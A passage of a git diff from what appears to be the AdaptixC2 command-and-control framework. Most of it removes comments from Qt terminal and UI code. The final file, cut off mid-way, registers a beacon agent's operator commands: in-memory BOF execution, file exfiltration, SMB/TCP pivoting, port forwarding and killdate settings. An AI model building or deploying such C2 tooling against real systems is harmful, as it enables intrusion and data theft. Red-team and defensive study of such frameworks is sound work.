snprintf(command, sizeof(command), "\033[<%d;%d;%d%c", cb, cx, cy, eventType == 2 ? 'm' : 'M'); @@ -1598,9 +1522,6 @@ void Vt102Emulation::sendMouseEvent(int cb, int cx, int cy, int eventType) { snprintf(command, sizeof(command), "\033[%d;%d;%dM", cb + 0x20, cx, cy); } else if (getMode(MODE_Mouse1005)) { if (cx <= 2015 && cy <= 2015) { - // The xterm extension uses UTF-8 (up to 2 bytes) to encode - // coordinate+32, no matter what the locale is. We could easily - // convert manually, but QString can also do it for us. QChar coords[2]; coords[0] = static_cast(cx + 0x20); coords[1] = static_cast(cy + 0x20); @@ -1644,7 +1565,7 @@ void Vt102Emulation::focusGained(void) { void Vt102Emulation::sendText(const QString &text) { if (!text.isEmpty()) { QKeyEvent event(QEvent::KeyPress, 0, Qt::NoModifier, text); - sendKeyEvent(&event, false); // expose as a big fat keypress event + sendKeyEvent(&event, false); } } @@ -1652,7 +1573,6 @@ void Vt102Emulation::sendKeyEvent(QKeyEvent *event, bool fromPaste) { Qt::KeyboardModifiers modifiers = event->modifiers(); KeyboardTranslator::States states = KeyboardTranslator::NoState; - // get current states if (getMode(MODE_NewLine)) states |= KeyboardTranslator::NewLineState; if (getMode(MODE_Ansi)) @@ -1664,20 +1584,18 @@ void Vt102Emulation::sendKeyEvent(QKeyEvent *event, bool fromPaste) { if (getMode(MODE_AppKeyPad) && (modifiers & Qt::KeypadModifier)) states |= KeyboardTranslator::ApplicationKeypadState; - // check flow control state if (modifiers & KeyboardTranslator::CTRL_MOD) { switch (event->key()) { case Qt::Key_S: emit flowControlKeyPressed(true); break; case Qt::Key_Q: - case Qt::Key_C: // cancel flow control + case Qt::Key_C: emit flowControlKeyPressed(false); break; } } - // lookup key binding if (_keyTranslator) { KeyboardTranslator::Entry entry = _keyTranslator->findEntry(event->key(), modifiers, states); @@ -1708,13 +1626,8 @@ void Vt102Emulation::sendKeyEvent(QKeyEvent *event, bool fromPaste) { } #endif - // send result to terminal QByteArray textToSend; - // special handling for the Alt (aka. Meta) modifier. pressing - // Alt+[Character] results in Esc+[Character] being sent - // (unless there is an entry defined for this particular combination - // in the keyboard modifier) bool wantsAltModifier = entry.modifiers() & entry.modifierMask() & Qt::AltModifier; bool wantsMetaModifier = @@ -1738,7 +1651,6 @@ void Vt102Emulation::sendKeyEvent(QKeyEvent *event, bool fromPaste) { emit handleCommandFromKeyboard(entry.command()); } - // TODO command handling } else if (!entry.text().isEmpty()) { textToSend += entry.text(true, modifiers); } else if ((modifiers & KeyboardTranslator::CTRL_MOD) && @@ -1759,8 +1671,6 @@ void Vt102Emulation::sendKeyEvent(QKeyEvent *event, bool fromPaste) { } emit sendData(textToSend.constData(), textToSend.length()); } else { - // print an error message to the terminal if no key translator has been - // set QString translatorError = tr("No keyboard translator available. " "The information needed to convert key presses " @@ -1797,12 +1707,9 @@ void Vt102Emulation::sendKeyEvent(QKeyEvent *event, bool fromPaste) { #define CHARSET _charset[_currentScreen == _screen[1]] -// Apply current character map. wchar_t Vt102Emulation::applyCharset(wchar_t c) { - // assert for i in [0..31] : vt100extended(vt100_graphics[i]) == i. const unsigned short vt100_graphics[32] = { - // 0/8 1/9 2/10 3/11 4/12 5/13 6/14 7/15 0x0020, 0x25C6, 0x2592, 0x2409, 0x240c, 0x240d, 0x240a, 0x00b0, 0x00b1, 0x2424, 0x240b, 0x2518, 0x2510, 0x250c, 0x2514, 0x253c, 0xF800, 0xF801, 0x2500, 0xF803, 0xF804, 0x251c, 0x2524, 0x2534, @@ -1810,7 +1717,7 @@ wchar_t Vt102Emulation::applyCharset(wchar_t c) { if (CHARSET.graphic && 0x5f <= c && c <= 0x7e) return vt100_graphics[c - 0x5f]; if (CHARSET.pound && c == '#') - return 0xa3; // This mode is obsolete + return 0xa3; return c; } @@ -1831,7 +1738,7 @@ void Vt102Emulation::resetCharset(int scrno) { _charset[scrno].pound = false; } -void Vt102Emulation::setCharset(int n, int cs) // on both screens. +void Vt102Emulation::setCharset(int n, int cs) { _charset[0].charset[n & 3] = cs; useCharset(_charset[0].cu_cs); @@ -1847,7 +1754,7 @@ void Vt102Emulation::setAndUseCharset(int n, int cs) { void Vt102Emulation::useCharset(int n) { CHARSET.cu_cs = n & 3; CHARSET.graphic = (CHARSET.charset[n & 3] == '0'); - CHARSET.pound = (CHARSET.charset[n & 3] == 'A'); // This mode is obsolete + CHARSET.pound = (CHARSET.charset[n & 3] == 'A'); } void Vt102Emulation::setDefaultMargins() { @@ -1862,16 +1769,13 @@ void Vt102Emulation::setMargins(int t, int b) { void Vt102Emulation::saveCursor() { CHARSET.sa_graphic = CHARSET.graphic; - CHARSET.sa_pound = CHARSET.pound; // This mode is obsolete - // we are not clear about these - // sa_charset = charsets[cScreen->_charset]; - // sa_charset_num = cScreen->_charset; + CHARSET.sa_pound = CHARSET.pound; _currentScreen->saveCursor(); } void Vt102Emulation::restoreCursor() { CHARSET.graphic = CHARSET.sa_graphic; - CHARSET.pound = CHARSET.sa_pound; // This mode is obsolete + CHARSET.pound = CHARSET.sa_pound; _currentScreen->restoreCursor(); } @@ -1896,8 +1800,6 @@ void Vt102Emulation::restoreCursor() { // "Mode" related part of the state. These are all booleans. void Vt102Emulation::resetModes() { - // MODE_Allow132Columns is not reset here - // to match Xterm's behaviour (see Xterm's VTReset() function) resetMode(MODE_132Columns); saveMode(MODE_132Columns); diff --git a/AdaptixClient/Libs/Konsole/Vt102Emulation.h b/AdaptixClient/Libs/Konsole/Vt102Emulation.h index 93aba0ff..f0ff902a 100644 --- a/AdaptixClient/Libs/Konsole/Vt102Emulation.h +++ b/AdaptixClient/Libs/Konsole/Vt102Emulation.h @@ -28,12 +28,12 @@ struct CharCodes { - char charset[4]; // - int cu_cs; // actual charset. - bool graphic; // Some VT100 tricks - bool pound ; // Some VT100 tricks - bool sa_graphic; // saved graphic - bool sa_pound; // saved pound + char charset[4]; + int cu_cs; + bool graphic; + bool pound ; + bool sa_graphic; + bool sa_pound; }; class Vt102Emulation : public Emulation @@ -87,9 +87,9 @@ private: void resetModes(); void resetTokenizer(); - #define MAX_TOKEN_LENGTH 100000 // Max length of tokens (e.g. window title) + #define MAX_TOKEN_LENGTH 100000 void addToCurrentToken(wchar_t cc); - wchar_t tokenBuffer[MAX_TOKEN_LENGTH]; //FIXME: overflow? + wchar_t tokenBuffer[MAX_TOKEN_LENGTH]; int tokenBufferPos; #define MAXARGS 15 void addDigit(int dig); @@ -140,12 +140,12 @@ private: bool _reportFocusEvents; QStringEncoder _toUtf8; - bool _isTitleChanged; ///< flag if the title/icon was changed by user + bool _isTitleChanged; QString _userTitle; - QString _iconText; // as set by: echo -en '\033]1;IconText\007 + QString _iconText; QString _nameTitle; QString _iconName; - QColor _modifiedBackground; // as set by: echo -en '\033]11;Color\007 + QColor _modifiedBackground; }; -#endif // VT102EMULATION_H +#endif diff --git a/AdaptixClient/Libs/Konsole/konsole.cpp b/AdaptixClient/Libs/Konsole/konsole.cpp index 51eab3e7..02a8e802 100644 --- a/AdaptixClient/Libs/Konsole/konsole.cpp +++ b/AdaptixClient/Libs/Konsole/konsole.cpp @@ -77,7 +77,6 @@ QTermWidget::QTermWidget(QWidget *messageParentWidget, QWidget *parent) connect( m_emulation, &Emulation::changeTabTextColorRequest, this, &QTermWidget::changeTabTextColorRequest); connect( m_emulation, &Emulation::cursorChanged, this, &QTermWidget::cursorChanged); - // That's OK, FilterChain's dtor takes care of UrlFilter. m_urlFilter = new UrlFilter(); connect(m_urlFilter, &UrlFilter::activated, this, &QTermWidget::urlActivated); m_terminalDisplay->filterChain()->addFilter(m_urlFilter); @@ -226,7 +225,6 @@ void QTermWidget::setColorScheme(const QString& origName) { const bool isFile = QFile::exists(origName); const QString& name = isFile ? QFileInfo(origName).baseName() : origName; - // avoid legacy (int) solution if (!availableColorSchemes().contains(name)) { if (isFile) { if (ColorSchemeManager::instance()->loadCustomColorScheme(origName)) @@ -335,13 +333,9 @@ void QTermWidget::updateTerminalSize() { int minLines = -1; int minColumns = -1; - // minimum number of lines and columns that views require for - // their size to be taken into consideration ( to avoid problems - // with new view widgets which haven't yet been set to their correct size ) const int VIEW_LINES_THRESHOLD = 2; const int VIEW_COLUMNS_THRESHOLD = 2; - //select largest number of lines and columns that will fit in all visible views if ( m_terminalDisplay->isHidden() == false && m_terminalDisplay->lines() >= VIEW_LINES_THRESHOLD && m_terminalDisplay->columns() >= VIEW_COLUMNS_THRESHOLD ) { @@ -349,7 +343,6 @@ void QTermWidget::updateTerminalSize() { minColumns = (minColumns == -1) ? m_terminalDisplay->columns() : qMin( minColumns , m_terminalDisplay->columns() ); } - // backend emulation must have a _terminal of at least 1 column x 1 line in size if ( minLines > 0 && minColumns > 0 ) { m_emulation->setImageSize( minLines , minColumns ); } diff --git a/AdaptixClient/Libs/Konsole/konsole.h b/AdaptixClient/Libs/Konsole/konsole.h index 79e759ee..c38e496f 100644 --- a/AdaptixClient/Libs/Konsole/konsole.h +++ b/AdaptixClient/Libs/Konsole/konsole.h @@ -49,7 +49,6 @@ public: void setTerminalBackgroundVideo(const QString& backgroundVideo); void setTerminalBackgroundMode(int mode); - /// Text codec, default is UTF-8 void setTextCodec(QStringEncoder codec); void setColorScheme(const QString & name); diff --git a/AdaptixClient/Libs/Konsole/util/ColorScheme.cpp b/AdaptixClient/Libs/Konsole/util/ColorScheme.cpp index 7f9beb9e..b065dbea 100644 --- a/AdaptixClient/Libs/Konsole/util/ColorScheme.cpp +++ b/AdaptixClient/Libs/Konsole/util/ColorScheme.cpp @@ -516,7 +516,6 @@ const ColorScheme *ColorSchemeManager::findColorScheme(const QString &name) { if (_colorSchemes.contains(name)) { return _colorSchemes[name]; } else { - // look for this color scheme QString path = findColorSchemePath(name); if (!path.isEmpty() && loadColorScheme(path)) { return findColorScheme(name); diff --git a/AdaptixClient/Libs/Konsole/util/KeyboardTranslator.cpp b/AdaptixClient/Libs/Konsole/util/KeyboardTranslator.cpp index afef5ea2..826744fe 100644 --- a/AdaptixClient/Libs/Konsole/util/KeyboardTranslator.cpp +++ b/AdaptixClient/Libs/Konsole/util/KeyboardTranslator.cpp @@ -732,7 +732,7 @@ KeyboardTranslator::Entry KeyboardTranslator::findEntry(int keyCode, Qt::Keyboar if (it.value().matches(keyCode, modifiers, state)) return *it; } - return Entry(); // entry not found + return Entry(); } void KeyboardTranslatorManager::addTranslator(KeyboardTranslator *translator) { @@ -745,7 +745,6 @@ void KeyboardTranslatorManager::addTranslator(KeyboardTranslator *translator) { bool KeyboardTranslatorManager::deleteTranslator(const QString &name) { Q_ASSERT(_translators.contains(name)); - // locate and delete QString path = findTranslatorPath(name); if (QFile::remove(path)) { _translators.remove(name); diff --git a/AdaptixClient/Source/Agent/Agent.cpp b/AdaptixClient/Source/Agent/Agent.cpp index 1f48ee45..08f7cfc2 100644 --- a/AdaptixClient/Source/Agent/Agent.cpp +++ b/AdaptixClient/Source/Agent/Agent.cpp @@ -19,7 +19,6 @@ Agent::Agent(QJsonObject jsonObjAgentData, AdaptixWidget* w) this->data.Id = jsonObjAgentData["a_id"].toString(); this->data.Name = jsonObjAgentData["a_name"].toString(); this->data.Listener = jsonObjAgentData["a_listener"].toString(); - this->data.Async = jsonObjAgentData["a_async"].toBool(); this->data.ExternalIP = jsonObjAgentData["a_external_ip"].toString(); this->data.InternalIP = jsonObjAgentData["a_internal_ip"].toString(); @@ -336,11 +335,9 @@ void Agent::UpdateImage() } else { if (data.Elevated) { - // this->item_Os->setIcon(QIcon(":/icons/unknown_red")); this->imageActive = QImage(":/graph/"+v+"/unknown_red"); } else { - // this->item_Os->setIcon(QIcon(":/icons/unknown_blue")); this->imageActive = QImage(":/graph/"+v+"/unknown_blue"); } this->imageInactive = QImage(":/graph/"+v+"/unknown_grey"); diff --git a/AdaptixClient/Source/UI/Dialogs/DialogListener.cpp b/AdaptixClient/Source/UI/Dialogs/DialogListener.cpp index b44db096..55323314 100644 --- a/AdaptixClient/Source/UI/Dialogs/DialogListener.cpp +++ b/AdaptixClient/Source/UI/Dialogs/DialogListener.cpp @@ -98,10 +98,7 @@ void DialogListener::createUI() buttonCancel->setFixedHeight(buttonHeight); } -void DialogListener::Start() -{ - this->exec(); -} +void DialogListener::Start() { this->exec(); } void DialogListener::AddExListeners(const QMap &listeners) { @@ -248,7 +245,4 @@ void DialogListener::onButtonSave() inputDialog.exec(); } -void DialogListener::onButtonCancel() -{ - this->close(); -} \ No newline at end of file +void DialogListener::onButtonCancel() { this->close(); } \ No newline at end of file diff --git a/AdaptixClient/Source/UI/Dialogs/DialogTunnel.cpp b/AdaptixClient/Source/UI/Dialogs/DialogTunnel.cpp index a6424565..4f962542 100644 --- a/AdaptixClient/Source/UI/Dialogs/DialogTunnel.cpp +++ b/AdaptixClient/Source/UI/Dialogs/DialogTunnel.cpp @@ -147,7 +147,6 @@ void DialogTunnel::createUI() lpfGridLayout->addWidget(lpfTargetPortSpin, 1, 2, 1, 1); tunnelStackWidget->addWidget(lpfWidget); - // RPF rpfWidget = new QWidget(this); rpfPortLabel = new QLabel("Port:", rpfWidget); rpfPortSpin = new QSpinBox(rpfWidget); diff --git a/AdaptixClient/Source/UI/Graph/SessionsGraph.cpp b/AdaptixClient/Source/UI/Graph/SessionsGraph.cpp index 2131a425..a9415eb8 100644 --- a/AdaptixClient/Source/UI/Graph/SessionsGraph.cpp +++ b/AdaptixClient/Source/UI/Graph/SessionsGraph.cpp @@ -80,12 +80,12 @@ void SessionsGraph::RemoveAgent(Agent* agent, bool drawTree) agent->graphItem->parentLink = nullptr; } - ///CHILD + /// CHILD auto childs = agent->graphItem->childItems; if ( !childs.empty() ) { for (int i = 0; i < childs.size(); i++) { - // childs[i]->agent->graphItem->parentLink = nullptr; - // childs[i]->agent->graphItem->parentItem = nullptr; + /// childs[i]->agent->graphItem->parentLink = nullptr; + /// childs[i]->agent->graphItem->parentItem = nullptr; this->LinkToRoot(childs[i]->agent->graphItem); } } @@ -104,7 +104,7 @@ void SessionsGraph::RemoveAgent(Agent* agent, bool drawTree) } agent->graphItem->childLinks.clear(); - // NODE + /// NODE for ( int i = 0; i < this->items.size(); i++ ) { if ( this->items[ i ] == agent->graphItem ) { this->items.erase( this->items.begin() + i ); diff --git a/AdaptixClient/Source/UI/Widgets/AdaptixWidget.cpp b/AdaptixClient/Source/UI/Widgets/AdaptixWidget.cpp index 07686acd..dad6bab3 100644 --- a/AdaptixClient/Source/UI/Widgets/AdaptixWidget.cpp +++ b/AdaptixClient/Source/UI/Widgets/AdaptixWidget.cpp @@ -25,7 +25,7 @@ AdaptixWidget::AdaptixWidget(AuthProfile* authProfile, QThread* channelThread, WebSocketWorker* channelWsWorker) { this->createUI(); - this->ChannelThread = channelThread; + this->ChannelThread = channelThread; this->ChannelWsWorker = channelWsWorker; LogsTab = new LogsWidget(); @@ -214,10 +214,7 @@ void AdaptixWidget::createUI() this->setLayout(mainGridLayout); } -AuthProfile* AdaptixWidget::GetProfile() const -{ - return this->profile; -} +AuthProfile* AdaptixWidget::GetProfile() const { return this->profile; } void AdaptixWidget::RegisterListenerConfig(const QString &fn, const QString &ui) { diff --git a/AdaptixClient/Source/UI/Widgets/ScreenshotsWidget.cpp b/AdaptixClient/Source/UI/Widgets/ScreenshotsWidget.cpp index b2691d28..bf91f74e 100644 --- a/AdaptixClient/Source/UI/Widgets/ScreenshotsWidget.cpp +++ b/AdaptixClient/Source/UI/Widgets/ScreenshotsWidget.cpp @@ -205,7 +205,6 @@ void ScreenshotsWidget::AddScreenshotItem(const ScreenData &newScreen) const tableWidget->horizontalHeader()->setSectionResizeMode( 2, QHeaderView::ResizeToContents ); tableWidget->horizontalHeader()->setSectionResizeMode( 3, QHeaderView::ResizeToContents ); - // tableWidget->setItemDelegate(new PaddingDelegate(tableWidget)); tableWidget->verticalHeader()->setSectionResizeMode(tableWidget->rowCount() - 1, QHeaderView::ResizeToContents); adaptixWidget->Screenshots[newScreen.ScreenId] = newScreen; diff --git a/AdaptixClient/Source/UI/Widgets/TasksWidget.cpp b/AdaptixClient/Source/UI/Widgets/TasksWidget.cpp index 4b7b723a..7371db14 100644 --- a/AdaptixClient/Source/UI/Widgets/TasksWidget.cpp +++ b/AdaptixClient/Source/UI/Widgets/TasksWidget.cpp @@ -202,7 +202,6 @@ void TasksWidget::addTableItem(const Task* newTask) const tableWidget->horizontalHeader()->setSectionResizeMode( this->ColumnFinishTime, QHeaderView::ResizeToContents ); tableWidget->horizontalHeader()->setSectionResizeMode( this->ColumnResult, QHeaderView::ResizeToContents ); - // tableWidget->setItemDelegate(new PaddingDelegate(tableWidget)); tableWidget->verticalHeader()->setSectionResizeMode(tableWidget->rowCount() - 1, QHeaderView::ResizeToContents); } diff --git a/AdaptixClient/Source/UI/Widgets/TerminalWidget.cpp b/AdaptixClient/Source/UI/Widgets/TerminalWidget.cpp index d219e7f9..d333c904 100644 --- a/AdaptixClient/Source/UI/Widgets/TerminalWidget.cpp +++ b/AdaptixClient/Source/UI/Widgets/TerminalWidget.cpp @@ -79,12 +79,6 @@ void TerminalWidget::createUI() startButton->setFixedSize(37, 28); startButton->setToolTip("Start terminal"); - // restartButton = new QPushButton( QIcon(":/icons/restart"), "", this ); - // restartButton->setIconSize( QSize( 24,24 )); - // restartButton->setFixedSize(37, 28); - // restartButton->setToolTip("Restart terminal"); - // restartButton->setEnabled(false); - stopButton = new QPushButton( QIcon(":/icons/stop"), "", this ); stopButton->setIconSize( QSize( 24,24 )); stopButton->setFixedSize(37, 28); @@ -117,7 +111,6 @@ void TerminalWidget::createUI() topHBoxLayout->addWidget(programComboBox); topHBoxLayout->addWidget(line_2); topHBoxLayout->addWidget(startButton); - // topHBoxLayout->addWidget(restartButton); topHBoxLayout->addWidget(stopButton); topHBoxLayout->addWidget(line_3); topHBoxLayout->addWidget(statusDescLabel); @@ -148,7 +141,6 @@ void TerminalWidget::setStatus(const QString &text) programInput->setEnabled(programComboBox->currentText() == "Custom program"); programComboBox->setEnabled(true); startButton->setEnabled(true); - // restartButton->setEnabled(false); stopButton->setEnabled(false); } } @@ -225,16 +217,16 @@ void TerminalWidget::handleTerminalMenu(const QPoint &pos) void TerminalWidget::SetKeys() { - // Ctrl+Shift+C: Copy + /// Ctrl+Shift+C: Copy QShortcut *copyShortcut = new QShortcut(QKeySequence(Qt::CTRL | Qt::SHIFT | Qt::Key_C), this->termWidget); connect(copyShortcut, &QShortcut::activated, this->termWidget, &QTermWidget::copyClipboard); - // Ctrl+Shift+V: Paste + /// Ctrl+Shift+V: Paste QShortcut *pasteShortcut = new QShortcut(QKeySequence(Qt::CTRL | Qt::SHIFT | Qt::Key_V), this->termWidget); connect(pasteShortcut, &QShortcut::activated, this->termWidget, &QTermWidget::pasteClipboard); - // Ctrl+Shift+F: Find + /// Ctrl+Shift+F: Find QShortcut *findShortcut = new QShortcut(QKeySequence(Qt::CTRL | Qt::SHIFT | Qt::Key_F), this->termWidget); connect(findShortcut, &QShortcut::activated, this->termWidget, &QTermWidget::toggleShowSearchBar); - // Ctrl+Shift+L: Clear + /// Ctrl+Shift+L: Clear QShortcut *clearShortcut = new QShortcut(QKeySequence(Qt::CTRL | Qt::SHIFT | Qt::Key_L), this->termWidget); connect(clearShortcut, &QShortcut::activated, this->termWidget, &QTermWidget::clear); } @@ -244,7 +236,6 @@ void TerminalWidget::onStart() programInput->setEnabled(false); programComboBox->setEnabled(false); startButton->setEnabled(false); - // restartButton->setEnabled(true); stopButton->setEnabled(true); this->setStatus("Waiting..."); @@ -293,15 +284,6 @@ void TerminalWidget::onRestart() void TerminalWidget::onStop() { - // if (terminalWorker && terminalThread) { - // QMetaObject::invokeMethod( terminalWorker, "stop", Qt::QueuedConnection ); - // - // terminalThread->quit(); - // terminalThread->wait(); - // - // terminalWorker = nullptr; - // terminalThread = nullptr; - // } if (!terminalWorker || !terminalThread) return; diff --git a/AdaptixClient/Source/Utils/Convert.cpp b/AdaptixClient/Source/Utils/Convert.cpp index 3e93a5b9..14318b36 100644 --- a/AdaptixClient/Source/Utils/Convert.cpp +++ b/AdaptixClient/Source/Utils/Convert.cpp @@ -15,7 +15,6 @@ bool IsValidURI(const QString &uri) return match.hasMatch(); } - QString ValidCommandsFile(const QByteArray &jsonData, bool* result) { QJsonParseError parseError; diff --git a/AdaptixClient/Source/Workers/DownloaderWorker.cpp b/AdaptixClient/Source/Workers/DownloaderWorker.cpp index 8720c474..6cdaf8ea 100644 --- a/AdaptixClient/Source/Workers/DownloaderWorker.cpp +++ b/AdaptixClient/Source/Workers/DownloaderWorker.cpp @@ -4,8 +4,8 @@ DownloaderWorker::DownloaderWorker(const QUrl &url, const QString &otp, const QString &savedPath) { this->savedPath = savedPath; - this->otp = otp; - this->url = QUrl(url); + this->otp = otp; + this->url = QUrl(url); this->cancelled = false; this->error = false; this->lastBytes = 0; @@ -17,10 +17,7 @@ DownloaderWorker::~DownloaderWorker() networkReply->deleteLater(); } -bool DownloaderWorker::IsError() -{ - return error; -} +bool DownloaderWorker::IsError() { return error; } void DownloaderWorker::start() { @@ -31,9 +28,9 @@ void DownloaderWorker::start() this->networkReply = this->networkManager->get(request); - connect(this->networkReply, &QNetworkReply::readyRead, this, &DownloaderWorker::onReadyRead); + connect(this->networkReply, &QNetworkReply::readyRead, this, &DownloaderWorker::onReadyRead); connect(this->networkReply, &QNetworkReply::downloadProgress, this, &DownloaderWorker::onProgress); - connect(this->networkReply, &QNetworkReply::finished, this, &DownloaderWorker::onFinished); + connect(this->networkReply, &QNetworkReply::finished, this, &DownloaderWorker::onFinished); connect(this->networkReply, QOverload::of(&QNetworkReply::errorOccurred), this, &DownloaderWorker::onError); this->savedFile.setFileName(this->savedPath); diff --git a/AdaptixClient/Source/Workers/TerminalWorker.cpp b/AdaptixClient/Source/Workers/TerminalWorker.cpp index 3571459c..271eb670 100644 --- a/AdaptixClient/Source/Workers/TerminalWorker.cpp +++ b/AdaptixClient/Source/Workers/TerminalWorker.cpp @@ -43,16 +43,6 @@ void TerminalWorker::start() void TerminalWorker::stop() { - // if (stopped.exchange(true)) - // return; - // - // if (websocket) { - // websocket->blockSignals(true); - // websocket->close(); - // } - // - // emit finished(); - if (stopped.exchange(true)) return; diff --git a/AdaptixClient/Source/Workers/TunnelWorker.cpp b/AdaptixClient/Source/Workers/TunnelWorker.cpp index 68de4b83..0b2d2d08 100644 --- a/AdaptixClient/Source/Workers/TunnelWorker.cpp +++ b/AdaptixClient/Source/Workers/TunnelWorker.cpp @@ -56,7 +56,6 @@ void TunnelWorker::stop() } if (websocket) { - // websocket->disconnect(this); websocket->blockSignals(true); websocket->close(); } diff --git a/AdaptixServer/profile.json b/AdaptixServer/profile.json index 9c5b889f..7c43a67c 100644 --- a/AdaptixServer/profile.json +++ b/AdaptixServer/profile.json @@ -22,7 +22,7 @@ "headers": { "Content-Type": "text/html; charset=UTF-8", "Server": "AdaptixC2", - "Adaptix Version": "v0.6" + "Adaptix Version": "v0.7" }, "page": "404page.html" }, diff --git a/Extenders/agent_beacon/ax_config.js b/Extenders/agent_beacon/ax_config.js new file mode 100644 index 00000000..167dce16 --- /dev/null +++ b/Extenders/agent_beacon/ax_config.js @@ -0,0 +1,252 @@ +/// Beacom agent + +function RegisterCommands(listenerType) +{ + var cmd_cat = ax.create_command("cat", "Read first 2048 bytes of the specified file", "cat C:\\file.exe", "Task: read file"); + cmd_cat.addArgString("path", true); + + var cmd_cd = ax.create_command("cd", "Change current working directory", "cd C:\\Windows", "Task: change working directory"); + cmd_cd.addArgString("path", true); + + var cmd_cp = ax.create_command("cp", "Copy file", "cp src.txt dst.txt", "Task: copy file"); + cmd_cp.addArgString("src", true); + cmd_cp.addArgString("dst", true); + + var cmd_disks = ax.create_command("disks", "Lists mounted drives on current system", "disks", "Task: show mounted disks"); + + var cmd_download = ax.create_command("download", "Download a file", "download C:\\Temp\\file.txt", "Task: download file"); + cmd_download.addArgString("file", true); + + var _cmd_execute_bof = ax.create_command("list", "Execute Beacon Object File", "execute bof /home/user/whoami.o", "Task: execute BOF"); + _cmd_execute_bof.addArgFile("bof", true, "Path to object file"); + _cmd_execute_bof.addArgString("param_data", false); + var cmd_execute = ax.create_command("execute", "Execute [bof] in the current process's memory"); + cmd_execute.addSubCommands([_cmd_execute_bof]) + + var _cmd_exfil_cancel = ax.create_command("cancel", "Cancels a download", "exfil cancel 1a2b3c4d"); + _cmd_exfil_cancel.addArgFile("file_id", true); + var _cmd_exfil_start = ax.create_command("start", "Resumes a download that's has been stoped", "exfil start 1a2b3c4d"); + _cmd_exfil_start.addArgFile("file_id", true); + var _cmd_exfil_stop = ax.create_command("stop", "Stops a download that's in-progress", "exfil stop 1a2b3c4d"); + _cmd_exfil_stop.addArgFile("file_id", true); + var cmd_exfil = ax.create_command("exfil", "Manage current downloads"); + cmd_exfil.addSubCommands([_cmd_exfil_cancel, _cmd_exfil_start, _cmd_exfil_stop]) + + var cmd_getuid = ax.create_command("getuid", "Prints the User ID associated with the current token", "getuid", "Task: get username of current token"); + + var _cmd_job_list = ax.create_command("list", "List of jobs", "job list", "Task: show jobs"); + var _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "job kill 1a2b3c4d", "Task: kill job"); + _cmd_job_kill.addArgString("task_id", true); + var cmd_job = ax.create_command("job", "Long-running tasks manager"); + cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]); + + var _cmd_link_smb = ax.create_command("smb", "Connect to an SMB agent and re-establish control of it", "link smb 192.168.1.2 pipe_a1b2", "Task: Connect to an SMB agent"); + _cmd_link_smb.addArgString("target", true); + _cmd_link_smb.addArgString("pipename", true); + var _cmd_link_tcp = ax.create_command("tcp", "Connect to an TCP agent and re-establish control of it", "link tcp 192.168.1.2 8888", "Task: Connect to an TCP agent"); + _cmd_link_tcp.addArgString("target", true); + _cmd_link_tcp.addArgInt("port", true); + var cmd_link = ax.create_command("link", "Connect to an pivot agents"); + cmd_link.addSubCommands([_cmd_link_smb, _cmd_link_tcp]); + + var cmd_ls = ax.create_command("ls", "Lists files in a folder", "ls C:\\Windows", "Task: list of files in a folder"); + cmd_ls.addArgString("directory", "", "."); + + var _cmd_lportfwd_start = ax.create_command("start", "Start local port forwarding from server via agent", "lportfwd start 127.0.0.1 8080 192.168.1.1 8080"); + _cmd_lportfwd_start.addArgString("lhost", "Listening interface address on server", "0.0.0.0"); + _cmd_lportfwd_start.addArgInt("lport", true, "Listen port on server"); + _cmd_lportfwd_start.addArgString("fwdhost", true, "Remote forwarding address"); + _cmd_lportfwd_start.addArgInt("fwdport", true, "Remote forwarding port"); + var _cmd_lportfwd_stop = ax.create_command("stop", "Stop local port forwarding", "lportfwd stop 8080"); + _cmd_lportfwd_stop.addArgInt("lport", true); + var cmd_lportfwd = ax.create_command("lportfwd", "Managing local port forwarding"); + cmd_lportfwd.addSubCommands([_cmd_lportfwd_start, _cmd_lportfwd_stop]); + + var cmd_mv = ax.create_command("mv", "Move file", "mv src.txt dst.txt", "Task: move file"); + cmd_mv.addArgString("src", true); + cmd_mv.addArgString("dst", true); + + var cmd_mkdir = ax.create_command("mkdir", "Make a directory", "mkdir C:\\Temp", "Task: make directory"); + cmd_mkdir.addArgString("path", true); + + var _cmd_profile_chunksize = ax.create_command("download.chunksize", "Change the exfiltrate data size for download request (default 128000)", "profile download.chunksize 512000", "Task: set download chunk size"); + _cmd_profile_chunksize.addArgInt("size", true); + var _cmd_profile_killdate = ax.create_command("killdate", "Set the date and time for the beacon to stop working", "profile killdate 28.02.2030 12:34:00", "Task: set beacon's killdate"); + _cmd_profile_killdate.addArgString("datetime", true, "Datetime 'DD.MM.YYYY hh:mm:ss' in GMT format. Set 0 to disable the option"); + var _cmd_profile_workingtime = ax.create_command("workingtime", "Set the start and end time of the beacon activity", "profile workingtime 8:00-17:30", "Task: set beacon's workingtime"); + _cmd_profile_workingtime.addArgString("time", true, "Time interval in the format 'HH:mm(start)-HH:mm(end)'. Set 0 to disable the option"); + var cmd_profile = ax.create_command("profile", "Configure the payloads profile for current session"); + cmd_profile.addSubCommands([_cmd_profile_chunksize, _cmd_profile_killdate, _cmd_profile_workingtime]); + + var _cmd_ps_list = ax.create_command("list", "Show process list", "ps list", "Task: show process list"); + var _cmd_ps_kill = ax.create_command("kill", "Kill a process with a given PID", "ps kill 7865", "Task: kill process"); + _cmd_ps_kill.addArgInt("pid", true); + var _cmd_ps_run = ax.create_command("run", "Run a program", "run -s cmd.exe \"whoami /all\"", "Task: create new process"); + _cmd_ps_run.addArgBool("-s", "Suspend process"); + _cmd_ps_run.addArgBool("-o", "Output to console"); + _cmd_ps_run.addArgString("program", true); + _cmd_ps_run.addArgString("args", false); + var cmd_ps = ax.create_command("ps", "Process manager"); + cmd_ps.addSubCommands([_cmd_ps_list, _cmd_ps_kill, _cmd_ps_run]); + + var cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory"); + + var cmd_rev2self = ax.create_command("rev2self", "Revert to your original access token", "rev2self", "Task: revert token"); + + var cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm C:\\Temp\\file.txt", "Task: remove file or directory"); + cmd_rm.addArgString("path", true); + + var _cmd_rportfwd_start = ax.create_command("start", "Start remote port forwarding from agent via server", "rportfwd start 8080 10.10.10.14 8080"); + _cmd_rportfwd_start.addArgInt("lport", true, "Listen port on agent"); + _cmd_rportfwd_start.addArgString("fwdhost", true, "Remote forwarding address"); + _cmd_rportfwd_start.addArgInt("fwdport", true, "Remote forwarding port"); + var _cmd_rportfwd_stop = ax.create_command("stop", "Stop remote port forwarding", "rportfwd stop 8080"); + _cmd_rportfwd_stop.addArgInt("lport", true); + var cmd_rportfwd = ax.create_command("rportfwd", "Managing remote port forwarding"); + 